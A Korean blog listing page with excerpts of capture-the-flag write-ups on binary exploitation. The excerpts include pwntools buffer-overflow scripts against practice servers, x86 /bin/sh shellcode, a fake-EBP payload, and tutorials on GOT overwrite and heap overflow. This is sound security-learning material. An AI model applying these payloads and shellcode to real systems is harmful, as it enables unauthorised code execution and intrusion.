목록over (26)
ii4gsp
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/cb8zHM/btqBS6iAWzR/uJhWCURW6gTpTLTYvokA01/img.png)
파일을 다운받아 주자. IDA로 열어보면 scanf()함수에서 취약점이 발생한다. callMeMaybe()함수에서 쉘을 실행시킨다. main()함수의 ret를 callMeMaybe()의 함수로 조작해주면 된다. callMeMaybe()함수의 주소는 0x0000000000400606이다. dummy 280byte를 채우고 callMeMaybe()함수의 주소를 넣어주면 된다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3004) payload = '' payload += '\x90' * 280 payload += p64(0x0000000000400606) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bE9Jrv/btqBRvXtgoe/KRUL5crkqZw17c2NutDjcK/img.png)
파일을 다운받아 주자. IDA로 열어보면 read()함수로 name에 0x32만큼 값을 넣는다. name은 전역변수이다. 그리고 gets()함수로 변수 s에 입력을한다. gets()함수에서 취약점이 발생한다. s ~ sfp = 24 read함수로 name에 쉘 코드를 넣어놓고 ret를 name의 주소로하면 쉘을 획득한다. name의 주소는 0x0804A060 이다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3003) shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' r.recvuntil('Name : ')..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/cxzDo4/btqBO7JSULC/8FVPVNUkBfhBgH2gqWapvK/img.png)
파일을 다운받아 주자. IDA로 열어보면 s는 128만큼 할당받았다. fgets()함수에서는 133byte만큼 입력받는다. v5는 sup()함수를 가리키고있다. 128byte를 주고 shell()함수의 주소를 전달하면 쉘을 획득한다. shell()함수의 주소는 0x0804849B이다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3001) payload = '' payload += '\x90' * 128 payload += p32(0x0804849B) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bpwJIA/btqBO7iN72f/dy9kQdXvcio5dLyjbQ7xiK/img.png)
파일을 다운받아 주자. 파일을 IDA로 열어보면 v5가 0xdeadbeef면 쉘을 획득한다. s와 v5의 거리는 40byte이다. fgets()함수로 s에 45만큼 입력받으니 40byte를 채우고 0xdeadbeef를 입력해주면 된다. from pwn import * r = remote("ctf.j0n9hyun.xyz", 3000) payload = '' payload += '\x90' * (0x34 - 0xc) payload += p32(0xdeadbeef) r.sendline(payload) r.interactive() 소스코드를 작성해주자.
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/sM3WD/btqBGqbRWIi/uZzt5fJXTCWmwuNNKcPkB1/img.png)
#include #include #include #include void shell() { setreuid(geteuid(), geteuid()); system("/bin/bash"); } void sup() { printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n"); } void main() { int var; void (*func)()=sup; char buf[128]; fgets(buf,133,stdin); func(); } fgets()함수에서 취약점이 발생한다. ssh -p 2222 app-systeme-ch15@challenge02.root-me.org password: app-systeme-ch15 ssh서버에 접속해주자. buf 128byte를 채우고 shell()함수..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/zT7eA/btqBuQuMfms/QgeY9F2grDsl2ri4JsRB4K/img.png)
주석에 FEBP라고 적혀있다 Fake EBP일것이다. 파일을 복사 후 gdb로 파일을 열어주자 ret가 실행되기전 leave 부분에 break point를 걸어주고 값을 넣어주자 leave - ret Gadget은 0x080484f0이다. 스택을 확인해보면 buffer의 주소는 0xbffffab0이다. 0xbffffab0 + 4 = 0xbffffab4 0xbffffab0 - 4 = 0xbffffaac 페이로드는 &buffer + 4 + dummy + shellcode + &buffer - 4 + leave - ret Gadget [4byte] [11byte] [25byte] [4byte] [4byte] payload ./zombie_assassin $(python -c 'print "\xb4\xfa\xf..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bHaYrn/btqBuvDupOB/Jer44Yokiy2j07Lbi4g49K/img.png)
GOT Overwrite GOT Overwrite는 Dynamic Link방식으로 컴파일된 바이너리가 공유 라이브러리를 호출할 때 사용되는 PLT & GOT를 이용하는 공격 기법이다. PTL는 GOT를 참조하고, GOT에는 함수의 실제 주소가 들어있는데, 이 GOT의 값을 원하는 함수의 실제 주소로 변조시킨다면, 원래의 함수가 아닌 변조한 함수가 호출된다. ex) printf("/bin/sh"); "/bin/sh"라는 문자열을 출력하는 함수가있으면 printf함수를 system함수로 변조하여 system("/bin/sh"); 가 되어 쉘을 실행시킨다. 예제 #include int main() { printf("/bin/sh"); } 예제 소스코드이다. 부분을 보면 printf함수의 PLT주소가 보인다. ..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bTAEEb/btqBiBZinvR/MZh7Frh3WVqTn2GDCIUhwk/img.png)
Heap? 프로그램이 실행되면, 실행에 필요한 정보들이 메모리 영역에 올라간다. 프로그램의 명령어가 올라가는 코드 영역 전역 변수와 정적 변수 등이 할당되는 데이터 영역 지역 변수와 매개 변수가 저장되는 스택 영역 필요에 의해 동적으로 메모리를 할당하는 힙 영역 특징 Heap의 메모리를 동적으로 할당한다. Stack은 할당될 메모리의 크기를 컴파일 과정에서 알 수 있지만 Heap은 컴파일 과정에서는 크기를 알 수 없고, 프로그램 실행시 크기가 결정된다. Stack은 높은 주소에서 낮은 주소로 할당되지만, Heap은 낮은 주소에서 높은 주소로 할당된다. Heap overflow 힙 오버플로우는 스택 오버플로우처럼 직접적으로 RET조작은 불가능하다. 힙 오버플로우는 프로그램의 함수 포인터를 조작한다. 예제 ..